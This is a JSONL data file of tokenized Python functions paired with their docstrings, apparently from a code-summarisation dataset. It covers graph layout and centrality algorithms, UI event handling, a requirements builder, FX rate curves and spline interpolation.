{"signature": "def edge(self, id1, id2):", "body": "if id1 in self andid2 in self andself[id2] in self[id1].links:<EOL><INDENT>return self[id1].links.edge(id2)<EOL><DEDENT>return None<EOL>", "docstring": "Returns the edge between the nodes with given id1 and id2.", "id": "f11608:c3:m11"}
{"signature": "def __getattr__(self, a):", "body": "if a in self: <EOL><INDENT>return self[a]<EOL><DEDENT>raise AttributeError(\"<STR_LIT>\"+str(a)+\"<STR_LIT:'>\")<EOL>", "docstring": "Returns the node in the graph associated with the given id.", "id": "f11608:c3:m12"}
{"signature": "def update(self, iterations=<NUM_LIT:10>):", "body": "<EOL>self.alpha += <NUM_LIT><EOL>self.alpha = min(self.alpha, <NUM_LIT:1.0>)<EOL>if self.layout.i == <NUM_LIT:0>:<EOL><INDENT>self.layout.prepare()<EOL>self.layout.i += <NUM_LIT:1><EOL><DEDENT>elif self.layout.i == <NUM_LIT:1>:<EOL><INDENT>self.layout.iterate()<EOL><DEDENT>elif self.layout.i < self.layout.n:<EOL><INDENT>n = min(iterations, self.layout.i / <NUM_LIT:10> + <NUM_LIT:1>)<EOL>for i in range(n): <EOL><INDENT>self.layout.iterate()<EOL><DEDENT><DEDENT>min_, max = self.layout.bounds<EOL>self.x = _ctx.WIDTH - max.x*self.d - min_.x*self.d<EOL>self.y = _ctx.HEIGHT - max.y*self.d - min_.y*self.d<EOL>self.x /= <NUM_LIT:2><EOL>self.y /= <NUM_LIT:2><EOL>return not self.layout.done<EOL>", "docstring": "Iterates the graph layout and updates node positions.", "id": "f11608:c3:m13"}
{"signature": "def solve(self):", "body": "self.layout.solve()<EOL>self.alpha = <NUM_LIT:1.0><EOL>", "docstring": "Iterates the graph layout until done.", "id": "f11608:c3:m14"}
{"signature": "def offset(self, node):", "body": "x = self.x + node.x - _ctx.WIDTH/<NUM_LIT:2><EOL>y = self.y + node.y - _ctx.HEIGHT/<NUM_LIT:2><EOL>return x, y<EOL>", "docstring": "Returns the distance from the center to the given node.", "id": "f11608:c3:m16"}
{"signature": "def draw(self, dx=<NUM_LIT:0>, dy=<NUM_LIT:0>, weighted=False, directed=False, highlight=[], traffic=None):", "body": "self.update()<EOL>s = self.styles.default<EOL>s.graph_background(s)<EOL>_ctx.push()<EOL>_ctx.translate(self.x+dx, self.y+dy)<EOL>if traffic:<EOL><INDENT>if isinstance(traffic, bool): <EOL><INDENT>traffic = <NUM_LIT:5><EOL><DEDENT>for n in self.nodes_by_betweenness()[:traffic]:<EOL><INDENT>try: s = self.styles[n.style]<EOL>except: s = self.styles.default<EOL>if s.graph_traffic:<EOL><INDENT>s.graph_traffic(s, n, self.alpha)        <EOL><DEDENT><DEDENT><DEDENT>s = self.styles.default<EOL>if s.edges:<EOL><INDENT>s.edges(s, self.edges, self.alpha, weighted, directed)<EOL><DEDENT>for n in self.nodes:<EOL><INDENT>try:  s = self.styles[n.style]<EOL>except: s = self.styles.default<EOL>if s.node:<EOL><INDENT>s.node(s, n, self.alpha)<EOL><DEDENT><DEDENT>try: s = self.styles.highlight<EOL>except: s = self.styles.default<EOL>if s.path:<EOL><INDENT>s.path(s, self, highlight)<EOL><DEDENT>for n in self.nodes:<EOL><INDENT>try:  s = self.styles[n.style]<EOL>except: s = self.styles.default<EOL>if s.node_label:<EOL><INDENT>s.node_label(s, n, self.alpha)<EOL><DEDENT><DEDENT>_ctx.pop()<EOL>", "docstring": "Layout the graph incrementally.\n\n        The graph is drawn at the center of the canvas.\n        The weighted and directed parameters visualize edge weight and direction.\n        The highlight specifies list of connected nodes. \n        The path will be colored according to the \"highlight\" style.\n        Clicking and dragging events are monitored.", "id": "f11608:c3:m17"}
{"signature": "def prune(self, depth=<NUM_LIT:0>):", "body": "for n in list(self.nodes):<EOL><INDENT>if len(n.links) <= depth:<EOL><INDENT>self.remove_node(n.id)<EOL><DEDENT><DEDENT>", "docstring": "Removes all nodes with less or equal links than depth.", "id": "f11608:c3:m18"}
{"signature": "def betweenness_centrality(self, normalized=True):", "body": "bc = proximity.brandes_betweenness_centrality(self, normalized)<EOL>for id, w in bc.items(): self[id]._betweenness = w<EOL>return bc<EOL>", "docstring": "Calculates betweenness centrality and returns an node id -> weight dictionary.\n        Node betweenness weights are updated in the process.", "id": "f11608:c3:m20"}
{"signature": "def eigenvector_centrality(self, normalized=True, reversed=True, rating={},<EOL>start=None, iterations=<NUM_LIT:100>, tolerance=<NUM_LIT>):", "body": "ec = proximity.eigenvector_centrality(<EOL>self, normalized, reversed, rating, start, iterations, tolerance<EOL>)<EOL>for id, w in ec.items(): self[id]._eigenvalue = w<EOL>return ec<EOL>", "docstring": "Calculates eigenvector centrality and returns an node id -> weight dictionary.\n        Node eigenvalue weights are updated in the process.", "id": "f11608:c3:m21"}
{"signature": "def nodes_by_betweenness(self, treshold=<NUM_LIT:0.0>):", "body": "nodes = [(n.betweenness, n) for n in self.nodes if n.betweenness > treshold]<EOL>nodes.sort(); nodes.reverse()<EOL>return [n for w, n in nodes]<EOL>", "docstring": "Returns nodes sorted by betweenness centrality.\n        Nodes with a lot of passing traffic will be at the front of the list.", "id": "f11608:c3:m22"}
{"signature": "def nodes_by_eigenvalue(self, treshold=<NUM_LIT:0.0>):", "body": "nodes = [(n.eigenvalue, n) for n in self.nodes if n.eigenvalue > treshold]<EOL>nodes.sort(); nodes.reverse()<EOL>return [n for w, n in nodes]<EOL>", "docstring": "Returns nodes sorted by eigenvector centrality.\n        Nodes with a lot of incoming traffic will be at the front of the list", "id": "f11608:c3:m23"}
{"signature": "def nodes_by_category(self, category):", "body": "return [n for n in self.nodes if n.category == category]<EOL>", "docstring": "Returns nodes with the given category attribute.", "id": "f11608:c3:m24"}
{"signature": "def _leaves(self):", "body": "return [node for node in self.nodes if node.is_leaf]<EOL>", "docstring": "Returns a list of nodes that have only one connection.", "id": "f11608:c3:m25"}
{"signature": "def crown(self, depth=<NUM_LIT:2>):", "body": "nodes = []<EOL>for node in self.leaves: nodes += node.flatten(depth-<NUM_LIT:1>)<EOL>return cluster.unique(nodes)<EOL>", "docstring": "Returns a list of leaves, nodes connected to leaves, etc.", "id": "f11608:c3:m26"}
{"signature": "def _density(self):", "body": "return <NUM_LIT>*len(self.edges) / (len(self.nodes) * (len(self.nodes)-<NUM_LIT:1>))<EOL>", "docstring": "The number of edges in relation to the total number of possible edges.", "id": "f11608:c3:m27"}
{"signature": "def load(self, id):", "body": "self.clear()<EOL>self.add_node(id, root=True)<EOL>for w, id2 in self.get_links(id):<EOL><INDENT>self.add_edge(id, id2, weight=w)<EOL>if len(self) > self.max: <EOL><INDENT>break<EOL><DEDENT><DEDENT>for w, id2, links in self.get_cluster(id):<EOL><INDENT>for id3 in links:<EOL><INDENT>self.add_edge(id3, id2, weight=w)<EOL>self.add_edge(id, id3, weight=w)<EOL><DEDENT>if len(self) > self.max: <EOL><INDENT>break    <EOL><DEDENT><DEDENT>if self.event.clicked: <EOL><INDENT>g.add_node(self.event.clicked)<EOL><DEDENT>", "docstring": "Rebuilds the graph around the given node id.", "id": "f11608:c4:m4"}
{"signature": "def click(self, node):", "body": "if not self.has_node(node.id): return<EOL>if node == self.root: return<EOL>self._dx, self._dy = self.offset(node)<EOL>self.previous = self.root.id<EOL>self.load(node.id)<EOL>", "docstring": "Callback from graph.events when a node is clicked.", "id": "f11608:c4:m5"}
{"signature": "def depth_first_search(root, visit=lambda node: False, traversable=lambda node, edge: True):", "body": "stop = visit(root)<EOL>root._visited = True<EOL>for node in root.links:<EOL><INDENT>if stop: return True<EOL>if not traversable(root, root.links.edge(node)): continue<EOL>if not node._visited:<EOL><INDENT>stop = depth_first_search(node, visit, traversable)<EOL><DEDENT><DEDENT>return stop<EOL>", "docstring": "Simple, multi-purpose depth-first search.\n\n    Visits all the nodes connected to the root, depth-first.\n    The visit function is called on each node.\n    Recursion will stop if it returns True, and ubsequently dfs() will return True.\n    The traversable function takes the current node and edge,\n    and returns True if we are allowed to follow this connection to the next node.\n    For example, the traversable for directed edges is follows:\n    lambda node, edge: node == edge.node1\n\n    Note: node._visited is expected to be False for all nodes.", "id": "f11609:m0"}
{"signature": "def adjacency(graph, directed=False, reversed=False, stochastic=False, heuristic=None):", "body": "v = {}<EOL>for n in graph.nodes:<EOL><INDENT>v[n.id] = {}<EOL><DEDENT>for e in graph.edges:<EOL><INDENT>id1 = e.node1.id<EOL>id2 = e.node2.id<EOL>if reversed:<EOL><INDENT>id1, id2 = id2, id1<EOL><DEDENT>v[id1][id2] = <NUM_LIT:1.0> - e.weight*<NUM_LIT:0.5><EOL>if heuristic:<EOL><INDENT>v[id1][id2] += heuristic(id1, id2)<EOL><DEDENT>if not directed: <EOL><INDENT>v[id2][id1] = v[id1][id2]<EOL><DEDENT><DEDENT>if stochastic:<EOL><INDENT>for id1 in v:<EOL><INDENT>d = sum(v[id1].values())<EOL>for id2 in v[id1]: <EOL><INDENT>v[id1][id2] /= d<EOL><DEDENT><DEDENT><DEDENT>return v<EOL>", "docstring": "An edge weight map indexed by node id's.\n\n    A dictionary indexed by node id1's in which each value is a\n    dictionary of connected node id2's linking to the edge weight.\n    If directed, edges go from id1 to id2, but not the other way.\n    If stochastic, all the weights for the neighbors of a given node sum to 1.\n    A heuristic can be a function that takes two node id's and returns\n    and additional cost for movement between the two nodes.", "id": "f11609:m1"}
{"signature": "def brandes_betweenness_centrality(graph, normalized=True):", "body": "G = graph.keys()<EOL>W = adjacency(graph)<EOL>betweenness = dict.fromkeys(G, <NUM_LIT:0.0>) <EOL>for s in G: <EOL><INDENT>S = [] <EOL>P = {} <EOL>for v in G: P[v] = [] <EOL>sigma = dict.fromkeys(G, <NUM_LIT:0>) <EOL>D = {} <EOL>sigma[s] = <NUM_LIT:1><EOL>seen = { s: <NUM_LIT:0> }  <EOL>Q = [] <EOL>heapq.heappush(Q, (<NUM_LIT:0>, s, s)) <EOL>while Q:    <EOL><INDENT>(dist, pred, v) = heapq.heappop(Q) <EOL>if v in D: continue <EOL>sigma[v] = sigma[v] + sigma[pred] <EOL>S.append(v) <EOL>D[v] = seen[v] <EOL>for w in graph[v].links:<EOL><INDENT>w = w.id<EOL>vw_dist = D[v] + W[v][w]<EOL>if w not in D and (w not in seen or vw_dist < seen[w]): <EOL><INDENT>seen[w] = vw_dist <EOL>heapq.heappush(Q, (vw_dist, v, w)) <EOL>P[w] = [v] <EOL><DEDENT>elif vw_dist == seen[w]: <EOL><INDENT>sigma[w] = sigma[w] + sigma[v] <EOL>P[w].append(v)<EOL><DEDENT><DEDENT><DEDENT>delta = dict.fromkeys(G,<NUM_LIT:0>)  <EOL>while S: <EOL><INDENT>w = S.pop() <EOL>for v in P[w]: <EOL><INDENT>delta[v] = delta[v] + (float(sigma[v]) / float(sigma[w])) * (<NUM_LIT:1.0> + delta[w]) <EOL><DEDENT>if w != s: <EOL><INDENT>betweenness[w] = betweenness[w] + delta[w]<EOL><DEDENT><DEDENT>if normalized:<EOL><INDENT>m = max(betweenness.values())<EOL>if m == <NUM_LIT:0>: m = <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>m = <NUM_LIT:1><EOL><DEDENT>betweenness = dict([(id, w/m) for id, w in betweenness.iteritems()])<EOL>return betweenness<EOL><DEDENT>", "docstring": "Betweenness centrality for nodes in the graph.\n\n    Betweenness centrality is a measure of the number of shortests paths that pass through a node.\n    Nodes in high-density areas will get a good score.\n\n    The algorithm is Brandes' betweenness centrality,\n    from NetworkX 0.35.1: Aric Hagberg, Dan Schult and Pieter Swart,\n    based on Dijkstra's algorithm for shortest paths modified from Eppstein.\n    https://networkx.lanl.gov/wiki", "id": "f11609:m3"}
{"signature": "def eigenvector_centrality(graph, normalized=True, reversed=True, rating={},<EOL>start=None, iterations=<NUM_LIT:100>, tolerance=<NUM_LIT>):", "body": "G = graph.keys()     <EOL>W = adjacency (graph, directed=True, reversed=reversed)<EOL>def _normalize(x):<EOL><INDENT>s = sum(x.values())<EOL>if s != <NUM_LIT:0>: s = <NUM_LIT:1.0> / s<EOL>for k in x: <EOL><INDENT>x[k] *= s<EOL><DEDENT><DEDENT>x = start<EOL>if x is None:<EOL><INDENT>x = dict([(n, random()) for n in G])<EOL><DEDENT>_normalize(x)<EOL>for i in range(iterations):<EOL><INDENT>x0 = x<EOL>x = dict.fromkeys(x0.keys(), <NUM_LIT:0>)<EOL>for n in x:<EOL><INDENT>for nbr in W[n]:<EOL><INDENT>r = <NUM_LIT:1><EOL>if rating.has_key(n): r = rating[n]<EOL>x[n] += <NUM_LIT> + x0[nbr] * W[n][nbr] * r<EOL><DEDENT><DEDENT>_normalize(x)          <EOL>e = sum([abs(x[n]-x0[n]) for n in x])<EOL>if e < len(graph.nodes) * tolerance:<EOL><INDENT>if normalized:<EOL><INDENT>m = max(x.values())<EOL>if m == <NUM_LIT:0>: m = <NUM_LIT:1><EOL>x = dict([(id, w/m) for id, w in x.iteritems()])<EOL><DEDENT>return x<EOL><DEDENT><DEDENT>warn(\"<STR_LIT>\", Warning)<EOL>return dict([(n, <NUM_LIT:0>) for n in G])<EOL>", "docstring": "Eigenvector centrality for nodes in the graph (like Google's PageRank).\n\n    Eigenvector centrality is a measure of the importance of a node in a directed network. \n    It rewards nodes with a high potential of (indirectly) connecting to high-scoring nodes.\n    Nodes with no incoming connections have a score of zero.\n    If you want to measure outgoing connections, reversed should be False.\n\n    The eigenvector calculation is done by the power iteration method.\n    It has no guarantee of convergence.\n    A starting vector for the power iteration can be given in the start dict.\n\n    You can adjust the importance of a node with the rating dictionary,\n    which links node id's to a score.\n\n    The algorithm is adapted from NetworkX, Aric Hagberg (hagberg@lanl.gov):\n    https://networkx.lanl.gov/attachment/ticket/119/eigenvector_centrality.py", "id": "f11609:m4"}
{"signature": "def copy(self, graph):", "body": "e = events(graph, self._ctx)<EOL>e.clicked = self.clicked<EOL>return e<EOL>", "docstring": "Returns a copy of the event handler, remembering the last node clicked.", "id": "f11610:c1:m1"}
{"signature": "def update(self):", "body": "if self.mousedown:<EOL><INDENT>if not self.pressed and not self.dragged:<EOL><INDENT>for n in self.graph.nodes:<EOL><INDENT>if self.mouse in n:<EOL><INDENT>self.pressed = n<EOL>break<EOL><DEDENT><DEDENT><DEDENT>elif self.pressed and not self.mouse in self.pressed:<EOL><INDENT>self.dragged = self.pressed<EOL>self.pressed = None<EOL><DEDENT>elif self.dragged and self.graph.layout.type == \"<STR_LIT>\":<EOL><INDENT>self.drag(self.dragged)<EOL>self.graph.layout.i = min(<NUM_LIT:100>, max(<NUM_LIT:2>, self.graph.layout.n-<NUM_LIT:100>))<EOL><DEDENT><DEDENT>elif self.pressed and self.mouse in self.pressed:<EOL><INDENT>self.clicked = self.pressed<EOL>self.pressed = None<EOL>self.graph.layout.i = <NUM_LIT:2><EOL>self.click(self.clicked)<EOL><DEDENT>else:<EOL><INDENT>self.hovered = None<EOL>self.pressed = None<EOL>self.dragged = None<EOL>for n in self.graph.nodes:<EOL><INDENT>if self.mouse in n:<EOL><INDENT>self.hovered = n<EOL>self.hover(n)<EOL>break<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Interacts with the graph by clicking or dragging nodes.\n        Hovering a node fires the callback function events.hover().\n        Clicking a node fires the callback function events.click().", "id": "f11610:c1:m4"}
{"signature": "def drag(self, node):", "body": "dx = self.mouse.x - self.graph.x<EOL>dy = self.mouse.y - self.graph.y<EOL>s = self.graph.styles.default<EOL>self._ctx.nofill()<EOL>self._ctx.nostroke()<EOL>if s.stroke: <EOL><INDENT>self._ctx.strokewidth(s.strokewidth)<EOL>self._ctx.stroke(<EOL>s.stroke.r, <EOL>s.stroke.g, <EOL>s.stroke.g, <EOL><NUM_LIT><EOL>)<EOL><DEDENT>p = self._ctx.line(node.x, node.y, dx, dy, draw=False)<EOL>try: p._nsBezierPath.setLineDash_count_phase_([<NUM_LIT:2>,<NUM_LIT:4>], <NUM_LIT:2>, <NUM_LIT:50>)<EOL>except:<EOL><INDENT>pass<EOL><DEDENT>self._ctx.drawpath(p)<EOL>r = node.__class__(None).r * <NUM_LIT><EOL>self._ctx.oval(dx-r/<NUM_LIT:2>, dy-r/<NUM_LIT:2>, r, r)<EOL>node.vx = dx / self.graph.d<EOL>node.vy = dy / self.graph.d<EOL>", "docstring": "Drags given node to mouse location.", "id": "f11610:c1:m5"}
{"signature": "def hover(self, node):", "body": "if self.popup == False: return<EOL>if self.popup == True or self.popup.node != node:<EOL><INDENT>if self.popup_text.has_key(node.id):<EOL><INDENT>texts = self.popup_text[node.id]<EOL><DEDENT>else:<EOL><INDENT>texts = None<EOL><DEDENT>self.popup = popup(self._ctx, node, texts)<EOL><DEDENT>self.popup.draw()<EOL>", "docstring": "Displays a popup when hovering over a node.", "id": "f11610:c1:m6"}
{"signature": "def textpath(self, i):", "body": "if len(self._textpaths) == i:<EOL><INDENT>self._ctx.font(self.font, self.fontsize)<EOL>txt = self.q[i]<EOL>if len(self.q) > <NUM_LIT:1>:<EOL><INDENT>txt += \"<STR_LIT>\"+str(i+<NUM_LIT:1>)+\"<STR_LIT:/>\" + str(len(self.q))+\"<STR_LIT:)>\"<EOL><DEDENT>p = self._ctx.textpath(txt, <NUM_LIT:0>, <NUM_LIT:0>, width=self._w)<EOL>h = self._ctx.textheight(txt, width=self._w)<EOL>self._textpaths.append((p, h))<EOL><DEDENT>return self._textpaths[i]<EOL>", "docstring": "Returns a cached textpath of the given text in queue.", "id": "f11610:c2:m1"}
{"signature": "def update(self):", "body": "if self.delay > <NUM_LIT:0>:<EOL><INDENT>self.delay -= <NUM_LIT:1>; return<EOL><DEDENT>if self.fi == <NUM_LIT:0>:<EOL><INDENT>if len(self.q) == <NUM_LIT:1>: <EOL><INDENT>self.fn = float(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>self.fn = len(self.q[self.i]) / self.speed<EOL>self.fn = max(self.fn, self.mf)            <EOL><DEDENT><DEDENT>self.fi += <NUM_LIT:1><EOL>if self.fi > self.fn:<EOL><INDENT>self.fi = <NUM_LIT:0><EOL>self.i = (self.i+<NUM_LIT:1>) % len(self.q)<EOL><DEDENT>", "docstring": "Rotates the queued texts and determines display time.", "id": "f11610:c2:m2"}
{"signature": "def draw(self):", "body": "if len(self.q) > <NUM_LIT:0>:<EOL><INDENT>self.update()<EOL>if self.delay == <NUM_LIT:0>:<EOL><INDENT>p, h = self.textpath(self.i)<EOL>f = self.fontsize<EOL>self._ctx.fill(self.background)<EOL>self._ctx.rect(<EOL>self.node.x + f*<NUM_LIT:1.0>, <EOL>self.node.y + f*<NUM_LIT:0.5>, <EOL>self._w + f, <EOL>h + f*<NUM_LIT>, <EOL>roundness=<NUM_LIT><EOL>)<EOL>alpha = <NUM_LIT:1.0><EOL>if self.fi < <NUM_LIT:5>: <EOL><INDENT>alpha = <NUM_LIT> * self.fi<EOL><DEDENT>if self.fn-self.fi < <NUM_LIT:5>: <EOL><INDENT>alpha = <NUM_LIT> * (self.fn-self.fi)<EOL><DEDENT>self._ctx.fill(<EOL>self.text.r,<EOL>self.text.g,<EOL>self.text.b,<EOL>self.text.a * alpha<EOL>)<EOL>self._ctx.translate(self.node.x + f*<NUM_LIT>, self.node.y + f*<NUM_LIT>)<EOL>self._ctx.drawpath(p)<EOL><DEDENT><DEDENT>", "docstring": "Draws a popup rectangle with a rotating text queue.", "id": "f11610:c2:m3"}
{"signature": "def copy(self, graph):", "body": "l = self.__class__(graph, self.n)<EOL>l.i = <NUM_LIT:0><EOL>return l<EOL>", "docstring": "Returns a copy of the layout for the given graph.", "id": "f11611:c1:m1"}
{"signature": "def sorted(list, cmp=None, reversed=False):", "body": "list = [x for x in list]<EOL>list.sort(cmp)<EOL>if reversed: list.reverse()<EOL>return list<EOL>", "docstring": "Returns a sorted copy of the list.", "id": "f11612:m0"}
{"signature": "def unique(list):", "body": "unique = []; [unique.append(x) for x in list if x not in unique]<EOL>return unique<EOL>", "docstring": "Returns a copy of the list without duplicates.", "id": "f11612:m1"}
{"signature": "def flatten(node, distance=<NUM_LIT:1>):", "body": "<EOL>if hasattr(node, \"<STR_LIT>\") and hasattr(node, \"<STR_LIT>\"):<EOL><INDENT>return [n.id for n in node.nodes]<EOL><DEDENT>all = [node]<EOL>if distance >= <NUM_LIT:1>:<EOL><INDENT>for n in node.links: <EOL><INDENT>all += n.flatten(distance-<NUM_LIT:1>)<EOL><DEDENT><DEDENT>return unique(all)<EOL>", "docstring": "Recursively lists the node and its links.\n\n    Distance of 0 will return the given [node].\n    Distance of 1 will return a list of the node and all its links.\n    Distance of 2 will also include the linked nodes' links, etc.", "id": "f11612:m2"}
{"signature": "def intersection(a, b):", "body": "return filter(lambda x: x in a, b)<EOL>", "docstring": "Returns the intersection of lists.\n    a & b -> elements that appear in a as well as in b.", "id": "f11612:m3"}
{"signature": "def union(a, b):", "body": "return a + filter(lambda x: x not in a, b)<EOL>", "docstring": "Returns the union of lists.\n    a | b -> all elements from a and all the elements from b.", "id": "f11612:m4"}
{"signature": "def difference(a, b):", "body": "return filter(lambda x: x not in b, a)<EOL>", "docstring": "Returns the difference of lists.\n    a - b -> elements that appear in a but not in b.", "id": "f11612:m5"}
{"signature": "def subgraph(graph, id, distance=<NUM_LIT:1>):", "body": "g = graph.copy(empty=True)<EOL>if isinstance(id, (FunctionType, LambdaType)):<EOL><INDENT>id = [node.id for node in filter(id, graph.nodes)]<EOL><DEDENT>if not isinstance(id, (list, tuple)):<EOL><INDENT>id = [id]<EOL><DEDENT>for id in id:<EOL><INDENT>for n in flatten(graph[id], distance):<EOL><INDENT>g.add_node(n.id, n.r, n.style, n.category, n.label, (n==graph.root), n.__dict__)<EOL><DEDENT><DEDENT>for e in graph.edges:<EOL><INDENT>if g.has_key(e.node1.id) andg.has_key(e.node2.id):<EOL><INDENT>g.add_edge(e.node1.id, e.node2.id, e.weight, e.length, e.label, e.__dict__)<EOL><DEDENT><DEDENT>return g<EOL>", "docstring": "Creates the subgraph of the flattened node with given id (or list of id's).\n    Finds all the edges between the nodes that make up the subgraph.", "id": "f11612:m6"}
{"signature": "def is_clique(graph):", "body": "<EOL>if graph.density < <NUM_LIT:1.0>: <EOL><INDENT>return False<EOL><DEDENT>return True<EOL>", "docstring": "A clique is a set of nodes in which each node is connected to all other nodes.", "id": "f11612:m7"}
{"signature": "def clique(graph, id):", "body": "clique = [id]<EOL>for n in graph.nodes:<EOL><INDENT>friend = True<EOL>for id in clique:<EOL><INDENT>if n.id == id or graph.edge(n.id, id) == None:<EOL><INDENT>friend = False<EOL>break<EOL><DEDENT><DEDENT>if friend:<EOL><INDENT>clique.append(n.id)<EOL><DEDENT><DEDENT>return clique<EOL>", "docstring": "Returns the largest possible clique for the node with given id.", "id": "f11612:m8"}
{"signature": "def cliques(graph, threshold=<NUM_LIT:3>):", "body": "cliques = []<EOL>for n in graph.nodes:<EOL><INDENT>c = clique(graph, n.id)<EOL>if len(c) >= threshold: <EOL><INDENT>c.sort()<EOL>if c not in cliques:<EOL><INDENT>cliques.append(c)<EOL><DEDENT><DEDENT><DEDENT>return cliques<EOL>", "docstring": "Returns all the cliques in the graph of at least the given size.", "id": "f11612:m9"}
{"signature": "def partition(graph):", "body": "g = []<EOL>for n in graph.nodes:<EOL><INDENT>c = [n.id for n in flatten(n)]<EOL>f = False<EOL>for i in range(len(g)):<EOL><INDENT>if len(intersection(g[i], c)) > <NUM_LIT:0>:<EOL><INDENT>g[i] = union(g[i], c)<EOL>f = True<EOL>break<EOL><DEDENT><DEDENT>if not f:<EOL><INDENT>g.append(c)<EOL><DEDENT><DEDENT>merged = []<EOL>for i in range(len(g)):<EOL><INDENT>merged.append(g[i])<EOL>for j in range(i+<NUM_LIT:1>, len(g)):<EOL><INDENT>if len(intersection(g[i], g[j])) > <NUM_LIT:0>:<EOL><INDENT>merged[-<NUM_LIT:1>].extend(g[j])<EOL>g[j] = []<EOL><DEDENT><DEDENT><DEDENT>g = merged<EOL>g = [graph.sub(g, distance=<NUM_LIT:0>) for g in g]<EOL>g.sort(lambda a, b: len(b) - len(a))             <EOL>return g<EOL>", "docstring": "Splits unconnected subgraphs.\n\n    For each node in the graph, make a list of its id and all directly connected id's.\n    If one of the nodes in this list intersects with a subgraph,\n    they are all part of that subgraph.\n    Otherwise, this list is part of a new subgraph.\n    Return a list of subgraphs sorted by size (biggest-first).", "id": "f11612:m10"}
{"signature": "def requirements(debug=True, with_examples=True, with_pgi=None):", "body": "reqs = list(BASE_REQUIREMENTS)<EOL>if with_pgi is None:<EOL><INDENT>with_pgi = is_jython<EOL><DEDENT>if debug:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>print(\"<STR_LIT>\", \"<STR_LIT:yes>\" if with_pgi else \"<STR_LIT>\")<EOL>print(\"<STR_LIT>\", \"<STR_LIT:yes>\" if with_examples else \"<STR_LIT>\")<EOL><DEDENT>if with_pgi:<EOL><INDENT>reqs.append(\"<STR_LIT>\")<EOL>if debug:<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>else:<EOL><INDENT>reqs.append(PYGOBJECT)<EOL><DEDENT>if with_examples:<EOL><INDENT>reqs.extend(EXAMPLE_REQUIREMENTS)<EOL><DEDENT>if debug:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>print(\"<STR_LIT>\")<EOL>for req in reqs:<EOL><INDENT>print(req)<EOL><DEDENT><DEDENT>return reqs<EOL>", "docstring": "Build requirements based on flags\n\n:param with_pgi: Use 'pgi' instead of 'gi' - False on CPython, True elsewhere\n:param with_examples:\n:return:", "id": "f11613:m0"}
{"signature": "@classmethod<EOL><INDENT>def cast(cls, fx_spot, domestic_curve=None, foreign_curve=None):<DEDENT>", "body": "assert domestic_curve.origin == foreign_curve.origin<EOL>return cls(fx_spot, domestic_curve=domestic_curve, foreign_curve=foreign_curve)<EOL>", "docstring": "creator method to build FxCurve\n\n:param float fx_spot: fx spot rate\n:param RateCurve domestic_curve: domestic discount curve\n:param RateCurve foreign_curve: foreign discount curve\n:return:", "id": "f11614:c0:m0"}
{"signature": "def __init__(self, currency, domestic_curve):", "body": "super(FxContainer, self).__init__()<EOL>self.currency = currency<EOL>self.domestic_curve = domestic_curve<EOL>self.add(currency, domestic_curve)<EOL>", "docstring": ":param currency: base currency of FxContainer\n:param RateCurve domestic_curve: base curve of FxContainer for discounting", "id": "f11614:c1:m0"}
{"signature": "def add(self, foreign_currency, foreign_curve=None, fx_spot=<NUM_LIT:1.0>):", "body": "assert isinstance(foreign_currency, type(self.currency))<EOL>assert isinstance(foreign_curve, curve.RateCurve)<EOL>assert isinstance(fx_spot, float)<EOL>self[self.currency, foreign_currency] = FxCurve.cast(fx_spot, self.domestic_curve, foreign_curve)<EOL>self[foreign_currency, self.currency] = FxCurve.cast(<NUM_LIT:1> / fx_spot, foreign_curve, self.domestic_curve)<EOL>f = foreign_currency<EOL>new = dict()<EOL>for d, s in self:<EOL><INDENT>if s is self.currency and d is not foreign_currency:<EOL><INDENT>triangulated = self[d, s](self.domestic_curve.origin) * fx_spot<EOL>if (d, f) in self:<EOL><INDENT>self[d, f].foreign_curve = foreign_curve<EOL>self[d, f].fx_spot = triangulated<EOL>self[f, d].domestic_curve = foreign_curve<EOL>self[f, d].fx_spot = <NUM_LIT:1> / triangulated<EOL><DEDENT>else:<EOL><INDENT>new[d, f] = FxCurve.cast(triangulated, self[d, s].domestic_curve, foreign_curve)<EOL>new[f, d] = FxCurve.cast(<NUM_LIT:1> / triangulated, foreign_curve, self[d, s].domestic_curve)<EOL><DEDENT><DEDENT><DEDENT>self.update(new)<EOL>", "docstring": "adds contents to FxShelf.\nIf curve is FxCurve or FxDict, spot should turn curve.currency into self.currency,\nelse spot should turn currency into self.currency by\nN in EUR * spot = N in USD for currency = EUR and self.currency = USD", "id": "f11614:c1:m3"}
{"signature": "def update(self, x_list=list(), y_list=list()):", "body": "if not y_list:<EOL><INDENT>for x in x_list:<EOL><INDENT>if x in self.x_list:<EOL><INDENT>i = self.x_list.index(float(x))<EOL>self.x_list.pop(i)<EOL>self.y_list.pop(i)<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>x_list = map(float, x_list)<EOL>y_list = map(float, y_list)<EOL>data = [(x, y) for x, y in zip(self.x_list, self.y_list) if x not in x_list]<EOL>data.extend(zip(x_list, y_list))<EOL>data = sorted(data)<EOL>self.x_list = [float(x) for (x, y) in data]<EOL>self.y_list = [float(y) for (x, y) in data]<EOL><DEDENT>", "docstring": "update interpolation data\n:param list(float) x_list: x values\n:param list(float) y_list: y values", "id": "f11615:c0:m3"}
{"signature": "def __init__(self, x_list=list(), y_list=list(), boundary_condition=None):", "body": "super(spline, self).__init__(x_list, y_list)  <EOL>self.intervals = list()<EOL>self.interpolation_coefficients = list()<EOL>self.boundary_condition = boundary_condition<EOL>for i in range(<NUM_LIT:0>, len(self.x_list) - <NUM_LIT:1>):<EOL><INDENT>self.intervals.append([self.x_list[i], self.x_list[i + <NUM_LIT:1>]])<EOL><DEDENT>if self.y_list:<EOL><INDENT>self.set_interpolation_coefficients()<EOL><DEDENT>", "docstring": ":param x_list: data\n:param y_list: data\n:param boundary_condition: Either a tuple (l, r) of values for the slope or None.\n    If the argument is not specified then None will be taken as boundary conditions, which\n    leads to the so called not-a-knot method for splines. Not-a-knot will determine the boundary conditions by also\n    requiring that the third derivatives of the two most left and the two most right interpolation polynomials agree.\n    The boundary condition (0,0) will lead to the so called natural spline", "id": "f11615:c9:m0"}
